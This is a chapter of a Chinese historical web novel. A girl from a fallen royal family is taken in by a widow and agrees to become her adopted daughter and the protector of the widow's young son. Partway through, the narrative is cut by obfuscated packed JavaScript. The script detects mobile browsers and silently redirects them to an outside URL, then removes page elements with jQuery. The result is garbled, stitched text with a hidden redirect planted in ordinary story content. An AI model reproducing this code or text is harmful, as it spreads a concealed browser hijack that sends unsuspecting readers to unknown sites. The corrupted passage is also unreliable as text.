燕谨躺在床上,凝神去听外头的动静。
那个小孩不知跑到哪里去喊了人来,两道脚步声朝她这里走过来,一个女声和童声正在交谈,距离有些远,她听不清。
燕谨有些紧张,但心中越是紧张,她面上越是冷淡。
“……她都不理我,哼。”
“轻轻,姐姐现在身体不舒服。”
“我才不要姐姐呢。”
一大一小两道人影走进房间,他们的交谈声不算太大,距离渐渐近到可以被捕捉听清他们交谈的内容。
燕谨抬眸看过去,那是一个看起来有些清瘦高挑的女子,眉眼间满是温柔,低声哄着一旁的小孩,手中还拿着一碗水。
这大概就是买下她的人了。
燕谨想要起身,被快走两步过来的乌霜雪摁下。
“先喝点水吧,我给你煮了点米粥,还没有好。”
燕谨顿了顿,没有拒绝,顺着她的动作喝下碗中的温水。
“夫人,我……”
乌霜雪打断她的话语,嗓音轻柔地说:“不急着说什么,你先歇一会,喝完粥洗个澡好好休息,明天我们再说这些。”
一旁的乌轻轻扒在她们俩身旁,好奇的大眼睛转来转去,听见娘亲的话,顺嘴应和:“是呀,还是洗个澡吧,你现在太黑了。”
这是个很温柔细致的夫人,燕谨做出判断。
她做主买下了自己,身旁只有一个孩子喊她娘亲,没见任何丫鬟仆人,烧水煮粥也是她自己在厨房准备的,看起来似乎有些清贫。
她躺着的房间空旷不见装饰,却很大,虽一看就不是主人的正屋,但能拿来给她这个满身脏污的人落脚,家中底蕴似乎尚可。
一对家境不错,但不知道为何过得清贫的两母子。
燕谨没再多说,她确实需要好好休息,点头应承下来。
乌轻轻见她又没理自己,生了会气,但他是一个聪明的孩子,能够理解大人讲述的话语。
还是等这个人身体舒服了再来找她吧,看她睡觉很无聊。
乌轻轻蹬蹬跑出去,到院子里玩石头。
乌霜雪去厨房给她拿了粥过来,里面竟还有些切得细碎的肉丝,燕谨喝完之后,躺着睡了半日。
待到晚间,乌霜雪又端过来碗肉丝粥让燕谨喝下。
趁燕谨喝粥的间隙,她单手拿着一个大浴桶进屋,又往里倒了几桶水。
燕谨休息半日,腹中有了食物,体力已经恢复许多。
她赶紧下来帮忙,但乌霜雪力气大,用不着一个小孩干这些活,温柔坚定地让她站在一旁等待。
“我拿了我以前穿的衣服过来,可能有些大,你先洗个澡,明日咱们再谈。”
言罢便转身离开。
燕谨伫立半晌,默默褪下衣物,洗净脸上、身上刻意涂抹上去的烟灰与草泥,换好衣物,慢慢把脏水用桶倒出去。
正屋的灯还浅浅亮着,隐约听见房内两母子的说话声,燕谨看了片刻,转身回到西厢。
乌霜雪下午拿了被褥进来,燕谨不会再委屈自己睡在榻上,她爬上床,沉沉睡去。
第二天一早,嘎吱响起的推门声惊醒了燕谨。
她冷不丁睁开眼睛,眼中还有未散去的噩梦痕迹,扭头去看门口。
一个小小的身影背着手走进来,姿态十分大方。
他大摇大摆地走近燕谨睡的榻边,拿腔捏调地说:“你怎么比我起得还晚,我要向娘亲告你的……”
乌轻轻被榻上刚醒的人惊住,下马威的话也咽进肚里。
“你是昨天那个人吗,”他好奇地凑过来,几乎趴在燕谨跟前看她,“你洗了澡之后怎么变得这么白?和昨天一点都不像。”
燕谨有些不自在,但神色未变,一步不退,任由他打量。
门外传来乌霜雪的声音:“轻轻,姐姐要是醒了就喊她出来洗漱吃饭。”
乌轻轻面对她有些别扭,不肯称呼她为姐姐,就因为昨天燕谨身体虚弱,没有理他。
“你醒了,娘喊你吃饭。”
轻哼一声,小孩甩甩辫子,又跑了出去。
燕谨起身下床,拿起昨夜衣服上破烂的布条绑了头发便走出去。
乌霜雪正在厨房忙活,见她出来怔了一瞬,没想到昨日带回来的女孩收拾齐整之后看起来如此过人。
她穿着一身旧衣服,将将10岁的单薄身体并不能完全将衣服撑起来,显得有点空荡。但她腰背挺直,神色自若,毫不为今日处境所羞愧尴尬。
这女孩年纪虽小,但五官端丽,十分有气势,可见不凡。
只是一瞬,乌霜雪就招呼道:“前院有井,洗漱好了就过来吃饭吧。”
昨日半昏迷着进来,晚上倒水时天黑,什么也瞧不清,到现在燕谨才瞧见这院子的全貌。
这是个两进的院子,坐北朝南,十分宽敞。能看出院子主人是精心修缮过的,院中有树,廊下有花,青砖地面,朱漆大门。
燕谨面不改色地往前院去,这院子里当真只住了母子两人,十分稀奇。
吃饭的地方在正房的堂屋,燕谨过去的时候,那一大一小已经坐好了,正在等她。
燕谨快走两步过去,没有落座,而是站立在一旁,等待乌霜雪的吩咐。
“坐吧,”乌霜雪给她盛了一碗粥,“我不是要你来做丫鬟的。”
燕谨顺从坐下,见乌霜雪已经开始吃饭,也不再言语。
寄人篱下,救命之恩,她昨夜已有自觉。
乌轻轻吃得开心,他吃过饭就跑出去玩,乌霜雪给他折了一个草蚂蚱,现在正是新鲜的时候。
确认燕谨也吃饱之后,乌霜雪才放下筷子,将自己的打算告知。
“你不用不自在,我虽然把你带回来,也只不过花了一袋玉米,算不得什么。”乌霜雪眉眼轻柔,语气十分温和,“你也看到了,我家中只有两人,不需要丫鬟仆人,且近日我也打算回到乡下老家,更是用不着这些。”
燕谨静静地聆听,知道接下来的话才是这位夫人的目的。
“乱世之中,我只想周全自己与孩子。昨日我看你掌中有茧,知道你是练过武的。恰巧,我家中以前是做镖局营生,年轻时我也护过镖,走过江湖。你若愿意,我可以教你。”
“我希望你能够庇佑轻轻,跟着他保护他,未来情形不定,我只放不下这个孩子。”
“我不希望你只当一个护卫,护卫仅仅是护卫,那不是我想要的,”乌霜雪凝视着眼前半分处变不惊的女孩,“我需要你入我家户籍,以养女的身份。”
养女,其实就是童养媳。
幼时将户籍并入夫家,待成婚后便会变更为儿媳。
燕谨没有说话。
“我不勉强你,也不想过问你的曾经。如果你不愿意,就当我是做了一件善事,吃完这顿饭可以离开,厨房还有些干粮,我再给你拿身衣裳,多的,我也没有了。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16130396|180272||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>乌霜雪是昨夜才想好这件事。
说她自私也好,别得也罢,她得为自己的孩子考虑。
当然,这件事如果不是心甘情愿,她也不会勉强,救人一命胜造七级浮屠,这也够了。
燕谨面上冷静,桌底下的双手紧握成拳,轻轻颤抖。
良久,她哑着声音回答:“我愿意,夫人。”
她早已无处可去。
乌霜雪伸手摸了摸她的脑袋,再冷静,这也这是个孩子。
“不要怕。”
“你叫什么名字?”
燕谨轻声答出昨夜想好的答案:“叶谨。”
燕国已破,燕氏已绝。
从此以后,她就是叶谨了。
*
云城的风声越来越紧了,街上人烟稀少,家家户户大门紧闭。
乌霜雪拎着篮子回到家,院子里两个孩子正在玩闹。
准确地说,是乌轻轻单方面的闹燕谨。
他对这个凭空出现的“姐姐”十分好奇,但燕谨生性冷淡,不爱与他玩闹,也不像以前的冬竹姐姐她们那样哄着自己。
娘亲说这个姐姐不一样,以后就是他们的家人。
家人是什么意思乌轻轻明白,故而乌轻轻虽然不太开心燕谨总是不理睬自己,但对她到底多了几分依赖。
燕谨每日跟乌霜雪练两个时辰的功夫,乌霜雪出门时她就自己练着,或者看些乌霜雪带回来的书,偶尔在乌轻轻有什么问题时去替他解决,两人相处算是和谐。
“姐姐,你能不能给我编一个笼子?”
乌轻轻把玩的手里的稻草蚂蚱,被他玩了几天,已经有些散架了。
燕谨看了一眼,摇头:“我不会做,等会娘回来了,我问她教我。”
既然是养女,燕谨当日就已经改口了。
乌轻轻又瘪着嘴坐回去,他的玩具不算多,大多都是乌霜雪给他编的小玩意儿,这只蚂蚱已经玩了四五天,过了新鲜劲儿了。
“你会别的游戏吗?”他消停了没一会,又去缠燕谨。
燕谨放下手中的书,看着乌轻轻黑亮的大眼睛,还是摇头。
“哼!你就是不愿意跟我玩!”
乌轻轻气呼呼地跑远,燕谨坐在榕树底下的石桌旁,他就要跑到连廊上去玩,用背影对着她,心中暗暗发誓再也不理燕谨了。
乌霜雪进来时看到的就是这样一副景象,两人各据一地,互不吭声。
她不太在意两个小孩之间的口角矛盾,也从不会要求燕谨事事顺着乌轻轻。
这些天观察下来,燕谨确实是个非常好的孩子。虽然性子冷淡,但是为人谨慎、认真,有自己的原则和底线,并不因为自己被收留就摧眉折腰,日常行走处事间不卑不亢,讨人喜欢。
今天她出门一是为了看看外面的情况,二就是为了给叶谨办户籍。
这不难,现在这个年景,只要肯花点银子,这点事办起来很容易。
“小谨,轻轻,娘要跟你们说一件事情。”她招呼两人进了堂屋。
燕谨放下手中的书,跟在她身后走过去。
乌轻轻还没消气,故意跟她隔得远远的,侧着脑袋,不肯看她,试图用这种方式告诉其他人自己现在很生气。
天色还没黑,堂屋用不着点蜡烛。
乌霜雪放下篮子,转身回望两个小孩。
“今日收拾东西,我们明天回湾水村。”
云城,就要乱了。